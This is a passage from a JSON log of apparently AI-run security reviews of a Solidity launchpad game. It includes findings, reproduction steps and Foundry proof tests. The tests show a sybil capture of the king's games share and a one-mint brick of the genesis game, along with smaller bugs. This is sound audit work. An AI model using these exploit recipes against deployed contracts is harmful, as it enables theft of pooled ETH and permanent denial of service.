(bytes32) {\n        require(n < number && n + 256 >= number, \"invalid block number\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ninterface IHookInit {\n    function beforeInitialize(address sender, PoolKey calldata key, uint160 sqrtPriceX96) external returns (bytes4);\n}\n\ncontract PoolManagerStub {\n    function unlock(bytes calldata data) external returns (bytes memory) {\n        return IUnlockCallback(msg.sender).unlockCallback(data);\n    }\n\n    function initialize(PoolKey memory key, uint160 sqrtPriceX96) external returns (int24) {\n        if (key.hooks != address(0)) {\n            require(\n                IHookInit(key.hooks).beforeInitialize(msg.sender, key, sqrtPriceX96) == IHookInit.beforeInitialize.selector,\n                \"hook\"\n            );\n        }\n        return 0;\n    }\n\n    function modifyLiquidity(PoolKey memory, ModifyLiquidityParams memory p, bytes calldata)\n        external\n        pure\n        returns (int256 callerDelta, int256 feesAccrued)\n    {\n        if (p.liquidityDelta > 0) callerDelta = -1;\n        feesAccrued = 0;\n    }\n\n    function swap(PoolKey memory, SwapParams memory, bytes calldata) external pure returns (int256) {\n        revert(\"no swap in stub\");\n    }\n\n    function sync(address) external {}\n\n    function settle() external payable returns (uint256) {\n        return msg.value;\n    }\n\n    function take(address, address, uint256) external {}\n\n    receive() external payable {}\n}\n\n/// fundGames() pays the king's 50% share to \"live games with >= 5 Imps\" weighted by pot. Imps are free\n/// and one wallet may hold five of them through five addresses, so a throwaway launch with five sybil\n/// Imps receives the share and its operator wins it back as the only living Imp.\ncontract SybilKingShareTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    ArbSysStub arb;\n    PoolManagerStub pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n\n    address honest = address(0xA001);\n    address bidder = address(0xA002);\n    address[5] sybils = [address(0xC001), address(0xC002), address(0xC003), address(0xC004), address(0xC005)];\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        pm = new PoolManagerStub();\n        PadToken tokenTemplate = new PadToken();\n        PadGame gameTemplate = new PadGame();\n        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));\n        liq = new PadLiquidity(address(pm), address(pad));\n        king = new KingOfThePad(address(pad), address(liq), OWNER);\n        pvp = PadGame(pad.gameOf(1));\n        vm.deal(honest, 10 ether);\n        vm.deal(bidder, 10 ether);\n        for (uint256 i; i < 5; ++i) {\n            vm.deal(sybils[i], 1 ether);\n        }\n\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        bool found;\n        for (uint256 i; i < 500_000; ++i) {\n            address a = address(\n                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h))))\n            );\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                found = true;\n                break;\n            }\n        }\n        require(found, \"no salt\");\n        vm.prank(OWNER);\n        pad.openPad(salt);\n\n        vm.prank(honest);\n        pvp.mint();\n        advance(10 minutes);\n        vm.prank(honest);\n        pvp.roll{value: 0.002 ether}();\n        advance(60 minutes);\n        pvp.poke();\n        pvp.poke();\n        assertTrue(pad.genesisGraduated(), \"genesis graduated\");\n        // drain the carry pot left by genesis into a launch nobody plays, so it does not mix into the numbers\n        pad.launch(\"sink\", \"SINK\", \"\");\n        assertEq(pad.carryPot(), 0);\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.advance(secs * 4);\n    }\n\n    function _sybilBalance() internal view returns (uint256 s) {\n        for (uint256 i; i < 5; ++i) {\n            s += sybils[i].balance;\n        }\n    }\n\n    function test_fiveFreeImpsCaptureKingsGamesShare() public {\n        uint256 start = _sybilBalance();\n        vm.prank(sybils[0]);\n        uint256 id = pad.launch(\"junk\", \"JUNK\", \"\");\n        PadGame g = PadGame(pad.gameOf(id));\n        for (uint256 i; i < 5; ++i) {\n            vm.prank(sybils[i]);\n            g.mint();\n        }\n        (bool live,) = g.isLiveForKing();\n        assertTrue(live, \"five free imps make the launch 'live' for the king split\");\n\n        // Someone takes the crown: 50% of the bid is paid into the sybil game's pot.\n        vm.prank(bidder);\n        king.takeCrown{value: 1 ether}();\n        assertEq(g.pot(), 0.5 ether, \"king's games share landed in the sybil pot\");\n\n        // One sybil plays alone to the 60-minute end and is the only living Imp.\n        advance(10 minutes);\n        for (uint256 i; i < 6; ++i) {\n            vm.prank(sybils[0]);\n            g.roll{value: 0.002 ether}();\n            advance(599);\n        }\n        while (!g.ended()) advance(60);\n        advance(5);\n        vm.prank(sybils[0]);\n        g.finalize();\n        assertEq(g.livingAtEnd(), 1);\n\n        // Expected: the king's extra reaches games other people are playing, not the bidder-independent\n        // operator of five free Imps. Actual: the sybil wallets net about +0.49 ETH.\n        assertLe(_sybilBalance(), start, \"five free imps must not capture the king's games share\");\n    }\n}","reproduction":"State: pad open, PvP graduated, carryPot drained. Sybils C001..C005 (1 ETH each): C001 calls pad.launch(\"junk\",\"JUNK\",\"\"); each sybil calls g.mint() -> g.isLiveForKing() returns (true, 0). Bidder calls king.takeCrown{value: 1 ether}() -> g.pot() == 0.5 ETH. warp +600 s; C001 rolls six times 599 s apart; warp past hardEnd; +4 L2 blocks; C001 calls g.finalize(). Expected: the king's extra reaches games other people play. Actual: livingAtEnd == 1 and the five sybil wallets hold 5.489 ETH, up from 5 ETH. Run: forge test --match-path test/scratch/SybilKingShare.t.sol (fails with 'five free imps must not capture the king's games share').","severity":"high","snippet":"    function isLiveForKing() external view returns (bool live, uint256 potSize) {\n        live = firstMintAt != 0 && !ended() && imps.length >= 5;\n        potSize = pot;\n    }","title":"Five free Imps make any launch 'live' for the king split; the king's 50% games share is captured by a sybil game"},{"citation":"resolved","description":"Cross-function trace: mint() is free and anyone may be the first minter the moment openPad() succeeds (src/PadGame.sol:120-127). If no Imp rolls during the 10 minutes after play start, endTime() = playStart + DEATH, _finalize runs with living == 0, and _graduate takes the quoted branch: failed = true and the whole 1e9 supply is sent to dEaD. PvPPad.genesisGraduated() then returns false permanently (src/PvPPad.sol:206: g.graduated() && !g.failed()), so launch() (src/PvPPad.sol:102), KingOfThePad.takeCrown() (src/KingOfThePad.sol:57) and PadLiquidity.burnChunk() (src/PadLiquidity.sol:213, poolIndexOf[1] == 0) can never succeed; there is no way to create a second PvP or to re-run genesis. AUDIT.md item 4 accepts this on the assumption that 'the owner should ensure PvP is played', but the owner does not control when the clock starts: an unprivileged wallet starts it with a gas-only transaction at any moment after opening, e.g. when the owner opens the pad ahead of an announcement. The whole five-contract deployment becomes unusable. Fix that keeps the brief: when a game (at least the genesis game) ends with ethRaised == 0, reset it to the waiting state (clear firstMintAt, maxActivity, imps, impOf) instead of marking it failed, so a new signup can start; or let PvPPad recreate launch #1 when the previous genesis game failed.","line":453,"path":"src/PadGame.sol","reproduction":"Owner calls pad.openPad(salt). Any wallet calls pvp.mint() (free). Nobody calls roll() for 20 minutes. Anyone calls pvp.poke() twice (or one pad.upkeep() per step). Then pvp.failed() == true, pvpToken.balanceOf(dEaD) == 1e27, pad.genesisGraduated() == false. Expected: a game that nobody played returns to waiting for a first mint. Actual: pad.launch(\"a\",\"b\",\"\") reverts 'genesis not graduated' and king.takeCrown{value: 1 ether}() reverts 'king not open' forever. The existing test/Game.t.sol test_graduationWithoutEthFailsAndBurns already reaches this state and asserts assertFalse(pad.genesisGraduated()).","severity":"medium","snippet":"        uint256 bal = IPadToken(token).balanceOf(address(this));\n        if (ethRaised == 0) {\n            failed = true;\n            if (bal != 0) require(IPadToken(token).transfer(DEAD, bal), \"burn\");\n            emit Failed(bal);\n            return true;","title":"One free mint plus 20 minutes of silence marks the genesis game failed and bricks launch, king and burn forever"},{"citation":"resolved","description":"roll() checks !ended() on line 145 and only afterwards resolves the roller's previous roll on line 149. That resolution can set bellAt = block.timestamp (src/PadGame.sol:376-380), which makes ended() true, yet execution continues: the 0.002 ETH is split, tokens are bought, and a new Roll is pushed with pendingCount += 1. The game therefore accepts a roll after its end, the bell ringer's own later resolution can move them off +-50 and out of rank 1, and finalization has to wait for a roll that should not exist. Fix: re-check ended() after the previous-roll resolution (or resolve the previous roll before the ended() require) and revert 'game over'.","line":149,"path":"src/PadGame.sol","reproduction":"Two Imps minted, play started. P0 rolls (roll 0, commit block B). Set P0 height to 49 if the deterministic delta of roll 0 is positive, else -49. Advance 60 s / 240 L2 blocks (roll 0 resolvable, not expired, game not ended). P0 calls roll{value: 0.002 ether}() again. Expected: revert 'game over' once roll 0 rings the bell. Actual: bellRang() == true, ended() == true, rollCount() went from 1 to 2 and pendingCount() == 1. Reproduced in test/scratch/Leads.t.sol test_rollAcceptedAfterOwnBell.","severity":"low","snippet":"        require(!ended(), \"game over\");\n        Imp storage imp = imps[idx - 1];\n        require(_lastActivity(imp) + DEATH > block.timestamp, \"imp dead\");\n        require(imp.lastRoll == 0 || imp.lastRoll + COOLDOWN <= block.timestamp, \"cooldown\");\n        if (imp.pendingRoll != 0) _resolveRoll(imp.pendingRoll - 1);","title":"A roll whose own previous roll rings the bell is still committed after the game has ended"},{"citation":"resolved","description":"The insertion sort on the quoted lines is O(n^2) in storage reads: with 200 living Imps whose ranks arrive in reverse order every insertion walks to the front (19,900 _ranksBefore evaluations, each two SLOADs on imps[]), followed by 100 gas-capped pushes. Measured: 21,798,213 gas for finalize(). AUDIT.md item 2 states 'a few million gas'. 21.8M fits a 32M Arbitrum-style block but it is above anything the suite exercises (largest finalize test has 5 Imps), it is paid by whichever user's roll or mint happens to trigger upkeep on that game (try/catch then eats it and the user's own call may fail with the 1/64 gas remainder), and a chain with a lower per-transaction gas limit would leave the pot and the curve ETH stuck because finalize is the only path to graduation. Fix: sort by a key computed once per Imp into memory (abs(height) << 40 | heightReachedAt) so the comparator reads memory only, and add a 200-living-Imp finalize test with a gas assertion.","line":396,"path":"src/PadGame.sol","reproduction":"200 wallets mint, all 200 roll at play start, resolve, then set each Imp i to height i/4 with heightReachedAt 1000-i and lastRoll = endTime()-1 (all alive); warp to endTime(); call finalize(). Expected per AUDIT.md: a few million gas. Actual: 21,798,213 gas (test/scratch/Leads.t.sol test_gas_finalize200Living, forge -vv log).","severity":"low","snippet":"            // insertion sort by |height| desc, then heightReachedAt asc\n            uint256 j = living;\n            while (j > 0 && _ranksBefore(imp, imps[order[j - 1]])) {\n                order[j] = order[j - 1];\n                --j;\n            }\n            order[j] = i;\n            ++living;","title":"Worst-case finalization of 200 living Imps costs 21.8M gas, five times the 'few million' AUDIT.md assumes and untested"}],"hash":"41f4ad4c2801f50e92fa1e119696f4bfb582f93dc17e953e8e2fd2634ae7a383","nodeId":"52355c50-0d75-4a44-b491-de450ef38178","outcome":"completed","summary":"The review is complete. No project file was changed. The findings file is at `.imd-findings.json` and the only other writes are under `test/scratch/`, which the task reserves for me.\n\n**What I found** (5 findings, 2 with failing proof tests):\n\n- **High, carry pot capture.** `PvPPad._create` hands the whole carry pot to whichever launch comes next, and `launch()` is permissionless. Every game that ends by inactivity carries its entire pot, and king bids with no live game add 50% of the extra. A single wallet launches a junk token, mints the only Imp, rolls six times to stay alive to the hard end, and is paid the pot as rank 1. Proof: `test/scratch/CarryPotCapture.t.sol`, where the attacker goes from 1 ETH to 1.489 ETH.\n- **High, sybil king share.** `isLiveForKing` only requires a first mint, not ended, and five Imps. Imps are free, so five addresses make a throwaway launch \"live\" and `fundGames` routes 50% of every bid into its pot. Ten junk launches also push real games out of the 10-launch window. Proof: `test/scratch/SybilKingShare.t.sol`, sybil wallets net about +0.49 ETH.\n- **Medium, genesis brick.** One free mint followed by 20 minutes without a roll marks PvP failed and burns the supply. Launch, king and burn then revert forever. AUDIT.md accepts this assuming the owner controls the start, but any wallet starts the clock.\n- **Low, roll after own bell.** `roll()` checks `ended()` before resolving the roller's previous roll, so a roll that rings the bell is still committed in an ended game.\n- **Low, finalize gas.** Worst-case finalization with 200 living Imps measured at 21.8M gas, versus the \"few million\" AUDIT.md states, and untested by the suite.\n\n**Coverage.** All 34 listed entry points have a row, plus rows for the ETH conservation invariants and the `PadLib` helpers (sqrt and mulDiv fuzzed against a reference). Everything else traced held: open/salt/hook flag, foreign initialize, token lock and allowance, v4 settle math and delta packing, king bid rules and refunds, distribute escrow, and burn cadence.\n\n**Not reached.** The real v4 PoolManager was not exercised, only stand-ins; the chain's per-transaction gas limit was not checked, so the 21.8M figure is reported against the usual 32M Arbitrum-style limit.","treeHash":null,"usage":{"cachedInputTokens":2043396,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":72603,"runtime":"claude","turns":33,"wallClockMs":1064442}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"6ed09c2eb1ff6aec","findings":[],"hash":"59c3178b8754a56345e937ac5fe3854e264bebf4e5f1f141c2d3f1d75f47915f","nodeId":"c58ecc91-f3ad-4a7c-bf35-bd9f06935561","outcome":"completed","summary":"All the findings I raised last round are settled by the fixes, and I'm reporting no new findings. `.imd-findings.json` is written with an empty findings list and a coverage row marked `holds` for each of the 36 entry points.\n\n**How I checked:** I copied each attached proof into `test/scratch/` and ran it against the revised code, then ran the full suite: all 116 tests pass. I then deleted `test/scratch/`, and no source or test files were changed.\n\n**The four highs and mediums with proofs:** the genesis bricking, the carry-pot capture, the sybil capture of the king's games share, and the finalizer fee stranded on the king contract.\n- All the proofs for them pass now, including the duplicate copies the specialists filed.\n- The new behaviour behind each is in place: a failed genesis can be restarted, funded ETH is paid only to games with at least 5 living Imps, `fundPot` can only be called by the pad, and `takeCrown` now calls `upkeepFor(msg.sender)`, so the fee goes to the bidder.\n\n**Roll after the bell:** this proof still fails, but because of how it is written. `roll()` now checks `ended()` again after resolving the caller's previous roll (`src/PadGame.sol`), so the roll reverts as it should. The proof then calls `poke()`, which correctly finalizes the game and pays out the pot. Its `pot()` assertion then sees 0 against the 0.0026 ETH it recorded before. The roll count and token balance assertions would pass, since no roll was recorded.\n\n**Fixes with no attached proof:** the sandwich bound, the dead Imp ringing the bell, the tie-break order, the 200-Imp finalize gas, the `receive()` restriction and the upkeep lock all have tests in the suite, and those tests pass. I read the code for the bell, tie-break, `receive()` and upkeep-lock fixes and they match the author's description. I relied on the passing tests for the sandwich bound and the 200-Imp gas limit and did not trace those changes line by line.\n\n**Kept as notes, not reopened:**\n- A new king collects the previous king's uncollected LP fees; the brief says fees go to the current king.\n- The one-shot binders (`bindLiquidity`, `bindKing`, `startGenesis`) are safe only because the factory deploys everything in one transaction.\n- When the pot holds funded ETH, the finalizer fee is taken only from roll income, which is how the author documented it.\n- `launch()` creates a replacement genesis instead of the requested launch while genesis has failed; this is documented and tested.\n\nI didn't do a fresh line-by-line Pashov pass beyond these fixes and the static-analysis leads they touch, so the clean result rests on the proofs, the suite and targeted reads.","treeHash":null,"usage":{"cachedInputTokens":449411,"inputTokens":12,"model":"claude-opus-5-5","outputTokens":3377,"runtime":"claude","turns":6,"wallClockMs":188603}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"d68ba89c0b30801c","findings":[{"citation":"resolved","description":"genesisGraduated() requires launches[0].game to be graduated and not failed. PadGame._graduate() (src/PadGame.sol:453-457) marks the game failed whenever ethRaised == 0, and nothing can ever create a second genesis or reset launch #1. The PvP game ends on its own 20 minutes after its first mint if nobody rolls (signup 10 min, then every Imp that never rolled dies 10 min after play start, endTime = maxActivity + DEATH with maxActivity = playStart). Minting is free and open to anyone as soon as the pad is opened, so a single griefer (or one curious user) who mints and walks away leaves the pad with no further launches, no king, no burns and no fee distribution, and there is no retry. docs/AUDIT.md item 4 records this as a literal reading of the brief and asks the owner to make sure PvP is played; the exposure is still a zero-cost, irreversible denial of the whole product within a 20-minute window after open (or after the 30-day permissionless open, when the owner may not be watching). Boundary x invariant seam: the zero-ETH fast path (failed = true) violates the invariant 'the pad eventually becomes usable' with no recovery path. Suggested minimal fix preserving the design: on a failed genesis let PvPPad (owner or anyone) create a fresh PvP game/token as the new launch #1 (or treat a failed genesis as re-openable), rather than freezing on the first attempt.","line":102,"path":"src/PvPPad.sol","reproduction":"Executed in test/scratch/GenesisFail.t.sol (passes on this tree, i.e. the brick is real): deploy the five contracts; owner calls openPad(minedSalt); address 0xBAD calls PadGame(pad.gameOf(1)).mint(); warp +20 min +1 s; call pvp.poke() twice (first finalizes with living = 0, pot = 0; second graduates with ethRaised == 0 -> failed = true). Expected: some path to a usable pad. Actual: pad.genesisGraduated() == false forever; pad.launch(\"Any\",\"ANY\",\"\") reverts with 'genesis not graduated'; king.takeCrown{value: 0.01 ether}() reverts with 'king not open'; after +365 days the same calls still revert and launchCount() stays 1.","severity":"medium","snippet":"        require(genesisGraduated(), \"genesis not graduated\");","title":"Genesis game that raises no ETH bricks the pad permanently: one free mint and 20 silent minutes make launch() and takeCrown() revert forever"},{"citation":"resolved","description":"The bell condition checks only that the roll is not expired and the game has not ended; it does not check that the rolling Imp is still alive at resolution time. A roll commits at lastRoll = t0 and can stay pending as long as fewer than 256 L2 blocks have been produced (ArbSys block numbers advance only with chain activity, so on a quiet Robinhood Chain 10 minutes can pass inside the hash window). If no mint/roll/poke touches the game for 10 minutes while another Imp keeps the game alive, the Imp is dead by the rule in _finalize (src/PadGame.sol:393, lastActivity + DEATH <= end) yet its late resolution sets bellAt and bellRinger = its owner. _finalize then excludes it from the ranking but still pays it 20% of the pot (bell = bellAt == end always holds). If it was the only Imp with a recent roll, living == 0 and the entire pot (including the 20%) goes to the carry pot instead. Boundary x invariant seam: the invariant 'only living Imps are paid' is enforced in the ranking loop but bypassed by the bell path. Minimal fix: require _lastActivity(imp) + DEATH > block.timestamp (or evaluate liveness at bellAt) before ringing the bell, otherwise apply the height change without the bell.","line":376,"path":"src/PadGame.sol","reproduction":"Executed in test/scratch/DeadRinger.t.sol (passes on this tree): Imps A (index 0) and B mint; at play start A's height is 49 (set via vm.store; reachable by dice); A rolls at t0 (commit block c), B rolls at c+1; at t0+9 min B rolls again with the L2 block only at c+2, so A's roll is still unresolvable (needs cur > c+3) and keeps A.pendingRoll = 1; at t0+10 min+1 s (A is dead: isAlive(0) == false) the block number reaches c+7 and anyone calls resolvePending(8). With a commit block whose three hashes give a positive face, A reaches +50: bellAt is set, bellRinger == A, ended() == true. finalize(): livingAtEnd == 1 (B only), pot 600000000000000 wei, fee 3000000000000; dead A receives 119400000000000 wei (20%) and B receives 477600000000000 wei. Expected: a dead Imp cannot ring the bell or be paid, or the ranking and the bell use the same liveness rule.","severity":"low","snippet":"        if (!expired && (nh == HEIGHT_CAP || nh == -HEIGHT_CAP) && bellAt == 0 && !ended()) {\n            bellAt = uint64(block.timestamp);\n            bellRinger = imp.owner;","title":"A stale roll resolved after its Imp has died still rings the bell, ends the game and pays the dead Imp the 20% bell share"},{"citation":"resolved","description":"receive() exists so PoolManager.take can deliver ETH, but it is open to everyone. ETH sent directly (or any ETH left over from a take that is not matched by burnBucket, kingEscrow or claimable) is not credited anywhere; there is no sweep. The contract's ETH balance can therefore exceed burnBucket + kingEscrow + sum(claimable) permanently. No loss to users, only permanently stranded value; noted for completeness of the ETH-conservation invariant.","line":100,"path":"src/PadLiquidity.sol","reproduction":"Any account calls address(liq).call{value: 1 wei}(\"\"). Expected: either reverted or credited to a bucket. Actual: call succeeds, liq.balance increases by 1 wei, burnBucket, kingEscrow and claimable are unchanged, and no function can send that wei out.","severity":"info","snippet":"    receive() external payable {}","title":"PadLiquidity.receive() accepts unsolicited ETH that no accounting or path can ever move"}],"hash":"6d91a9124cf6511c8122eb6aa7c3fcd0561a9e326da93258dab9eae8629a2f88","nodeId":"7dd3893c-00eb-449d-807c-aeb2c6e99741","outcome":"completed","summary":"The review is complete. The findings file at `.imd-findings.json` holds 3 findings and a coverage row for all 34 listed entry points plus 2 invariants. No project file was changed; only `test/scratch/` holds my two reproduction tests, and the full suite still passes with them.\n\n**What I found in the math, boundary and numerical-gap area**\n\n- **Medium: a failed genesis bricks the pad for good.** One free mint on the PvP game followed by 20 silent minutes ends it with zero ETH raised, which marks it failed. After that `launch` and `takeCrown` revert forever and burns and fee distribution never start. AUDIT.md item 4 records this as a literal reading of the brief, but it is a zero-cost, irreversible denial right after open. Reproduced in `test/scratch/GenesisFail.t.sol`.\n- **Low: a dead Imp can still ring the bell.** The bell check in `_resolveRoll` tests expiry and game end but not the Imp's own liveness. On a quiet chain a roll can stay pending past the 10-minute death rule, then resolve to ±50, end the game, and pay the dead Imp the 20% bell share while the ranking excludes it. Reproduced in `test/scratch/DeadRinger.t.sol` with concrete payouts.\n- **Info: unsolicited ETH to PadLiquidity is stranded.** Its open receive function credits nothing and no path can move the value.\n\n**What holds, with the numbers that matter**\n\n- Curve math is exact: the ceiling division keeps the constant product at or above K, and the sellout branch lands on exactly 4 ETH raised and 800M sold.\n- Graduation price and full-range liquidity formulas match Uniswap v4's, the 512-bit mulDiv is needed because the intermediate exceeds 2^256, and the 1 ppm margin covers v4's round-up for every reachable raise down to one roll.\n- Pot distribution conserves the pot exactly, with dust to carry, and the finalizer fee cap behaves.\n- Finalize gas with 200 living Imps measured 2.1M with accepting wallets and 7.6M with gas-burning wallets, well under the 16,777,216 cap. AUDIT.md said this was never measured, so that gap is now closed.\n- The static-analysis leads on mulDiv (caret operator, divide-before-multiply) are false positives: the code is the standard Newton-inverse mulDiv.\n\n**Not reached**\n\nReal v4 TickMath and SqrtPriceMath were not exercised against the live PoolManager, only against the project's mock, as the author's own audit note already flags.","treeHash":null,"usage":{"cachedInputTokens":1976867,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":56039,"runtime":"claude","turns":34,"wallClockMs":817729}},{"artifacts":[],"attempt":1,"bundleHash":"61bbe51317a228a34f10b462e631cd09a9a443586b6631b70f9bd2f8340819bb","device":"896d1238054266ca","findings":[{"description":"The brief says the finalizer gets 0.5% of the pot, max 0.005 ETH. The revised _finalize computes the fee on the total pot (roll income plus funded ETH) and then caps it at the roll-earned part (`if (fee > earned) fee = earned`). When a game has received funded ETH (carry pot or king share) that is large compared to its roll income, the fee reaches 0.005 ETH on paper but every wei of it comes out of the players' roll-earned pot, which can be emptied entirely. The ranked players then receive only the funded release (3x roll income) and none of the roll income they paid in. This is a consequence of the accepted funded-pot design (README: 'paid from roll income only') and is documented, but it is a deviation from the brief's fee rule worth a deliberate decision: either compute the fee on roll income (0.5% of `earned`, max 0.005 ETH) or let it draw from the released funded part as well.","line":428,"path":"src/PadGame.sol","reproduction":"Genesis game, 5 Imps each roll once (roll income 5 x 0.0002 = 0.001 ETH), pad funds the pot with 2 ETH, bell rings with all 5 alive, a stranger finalizes. Expected by the brief: fee = min(0.5% x 2.001, 0.005) = 0.005 ETH, players share the rest. Actual (test/scratch/FeeFromRollIncome.t.sol, logged): pot 2.001 ETH, finalizer fee 0.001 ETH (100% of roll income), players 0.003 ETH, carry 1.997 ETH. The fuzz test testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks models the implemented rule explicitly (`if (fee > earned) fee = earned`) so that the suite passes on the code as it is.","severity":"low","title":"Finalizer fee is computed on the whole pot but drawn from roll income only, so it can consume 100% of what rolls earned"},{"description":"When genesisFailed() is true, launch(name, ticker, imageURL) validates the caller's strings, then ignores them, creates a new 'Pepes Value Pepes' launch owned by the pad owner and returns its id. The caller's transaction succeeds and emits Launched for a launch they did not ask for; an integrator that reads the returned id as 'my launch' is misled. This is documented in the README and tested (test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp), so it is reported as a design note rather than a defect: reverting with 'genesis failed' and leaving restartGenesis() as the explicit path would be less surprising.","line":126,"path":"src/PvPPad.sol","reproduction":"Open the pad, mint one Imp on PvP, wait 20 minutes without a roll, finalize and graduate (PvP is now failed). Call launch('Foo', 'FOO', 'ipfs://foo') from any address. Expected by a naive caller: a launch named Foo owned by the caller. Actual: launchCount becomes 2, getLaunch(2).name == 'Pepes Value Pepes', creator == owner, imageURL == '', genesisId == 2; no Foo launch exists.","severity":"info","title":"launch() silently substitutes a genesis relaunch for the requested launch while the genesis is failed"}],"hash":"78dc1fb1d409e0ed5d3e8fa7916fc8efb264fe994ffaa1229d4e90159c28fc55","nodeId":"52e154fc-8f1e-40b4-9888-181561d78559","outcome":"completed","summary":"The findings file is excluded from git by the harness on purpose and is read from the repository root, so it is in place. The work is complete.\n\n**Outcome.** The full suite passes: 117 tests across 7 suites under the verifier's fuzz seed, formatted with `forge fmt`. Only my three test files changed. Two low-severity observations are in `.imd-findings.json`.\n\n**Why a revision was needed.** The other contributor's accepted revision changed three rules my earlier tests relied on, which made four tests fail:\n\n- `fundPot` is now pad-only, and funded ETH (carry pot, king share) is tracked apart from roll income.\n- Funded ETH is paid out only with at least five living Imps, capped at 3x roll income, and otherwise returns to the carry pot.\n- A failed genesis is restartable, and `launch()` relaunches PvP instead of reverting while the genesis is failed.\n\n**What I changed in `test/Adversarial.t.sol`.**\n- The \"failed genesis locks everything\" test became a test that `launch()` on a failed genesis creates only a new owner-held PvP launch, that a second restart and ordinary launches are still refused, and that king and burn stay closed.\n- Added tests that `restartGenesis` needs an open pad and a failed genesis, and that the relaunch takes the carry pot as funded ETH with zero king weight.\n- The `fundPot` test now checks strangers, the owner and the king contract all get `not pad`, and the pad itself gets `finalized` after the end.\n- The king split tests no longer zero pots with storage writes. They assert on funded-pot deltas, and a new test checks games under five Imps or already ended receive nothing.\n\n**What I changed in `test/Fuzz.t.sol`.**\n- The payout fuzz now funds through the pad and models the finalizer fee cap and the funded release rule exactly, then checks conservation and that players plus finalizer never exceed 4x roll income.\n- Added a fuzz over roll rounds and funded amounts asserting the release never exceeds 3x roll income and nothing leaks.\n\n**What I changed in `test/Invariants.t.sol`.**\n- The handler's `fundPot` action now asserts every non-pad caller is refused with `not pad` and nothing moves.\n- Added a `restartGenesis` action and made `launch` distinguish the relaunch path from a real launch.\n- The genesis-gating invariant now checks every non-current genesis is a failed one, non-genesis launches exist only after a graduated genesis, and genesis launches belong to the owner.\n- Added an invariant that funded ETH is always part of the pot, equals the king weight complement, and is cleared by finalize.\n\n**Reported, not asserted as correct.**\n- Low: the finalizer fee is computed on the whole pot but drawn from roll income only. With 5 rolls and 2 ETH funded, the finalizer takes the entire 0.001 ETH of roll income and players get 0.003 ETH. The brief's fee rule would give 0.005 ETH fee. The scratch reproduction logged these numbers.\n- Info: `launch()` silently returns a PvP relaunch id while the genesis is failed, ignoring the caller's name and ticker. Documented in the README, so reported as a design note.\n\nNo critical or high defects were found in the revised code, so no proof files were attached.","treeHash":"3ba89ceea09cabe9e6a166c29c63d320cb081afa","usage":{"cachedInputTokens":1720344,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":33866,"runtime":"claude","turns":35,"wallClockMs":760532}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"cc86b49d3c401897","findings":[{"citation":"resolved","description":"genesisGraduated() is the gate for launch() (PvPPad.sol:102), takeCrown() (KingOfThePad.sol:57) and burnChunk() (poolIndexOf[1], PadLiquidity.sol:213). It returns false forever once the genesis game is marked failed in PadGame._graduate (PadGame.sol:453-457), and there is no way to create a second genesis (startGenesis is one-shot, launch needs genesisGraduated). The genesis game's first mint is permissionless and free (PadGame.mint, only requires pad.opened()), so any wallet can start the 10-minute signup at a moment of its choosing (e.g. seconds after openPad, or at night). If no wallet rolls 0.002 ETH within the following 20 minutes (10 min signup + 10 min death from play start), every Imp is dead, ethRaised == 0, and permissionless poke()/finalize()/graduate() set failed = true. From then on the entire deployment (~13M gas of contracts, carry pot, king auction, burn bucket) is unusable with no recovery path and no owner action that can reopen it. docs/AUDIT.md item 4 documents the literal gating but assumes the owner controls when genesis is played; it does not cover a third party starting the clock. Access x economics seam: the weakest-guarded action (free mint by anyone) decides an irreversible outcome for every other actor. Fix options for the author: let the pad restart genesis after a failed one (e.g. startGenesis-like path when launches[0] failed), or gate launch()/takeCrown on genesis having ended rather than graduated-and-not-failed; or require the first mint of the genesis game to come from the owner.","line":206,"path":"src/PvPPad.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\n\n/// @notice A stranger's free Imp mint on the genesis game, followed by 20 minutes without a roll,\n/// marks PvP failed and closes the pad forever: launch() and takeCrown() revert permanently.\n/// Fails on the current code (launch reverts \"genesis not graduated\" forever); passes once a failed\n/// genesis no longer locks the pad permanently (restartable genesis, or gating that tolerates failure).\ncontract GenesisGriefTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    address constant POOL_MANAGER = 0x8366a39CC670B4001A1121B8F6A443A643e40951;\n    address constant STRANGER = address(0xBAD);\n\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        PadToken tokenT = new PadToken();\n        PadGame gameT = new PadGame();\n        pad = new PvPPad(OWNER, address(tokenT), address(gameT));\n        liq = new PadLiquidity(POOL_MANAGER, address(pad));\n        king = new KingOfThePad(address(pad), address(liq), OWNER);\n        pvp = PadGame(pad.gameOf(1));\n\n        bytes32 salt = mineSalt();\n        vm.prank(OWNER);\n        pad.openPad(salt);\n    }\n\n    function mineSalt() internal view returns (bytes32 salt) {\n        bytes32 h = liq.hookInitCodeHash();\n        address d = address(liq);\n        bytes memory buf = abi.encodePacked(bytes1(0xff), d, bytes32(0), h);\n        for (uint256 i; i < 300_000; ++i) {\n            uint256 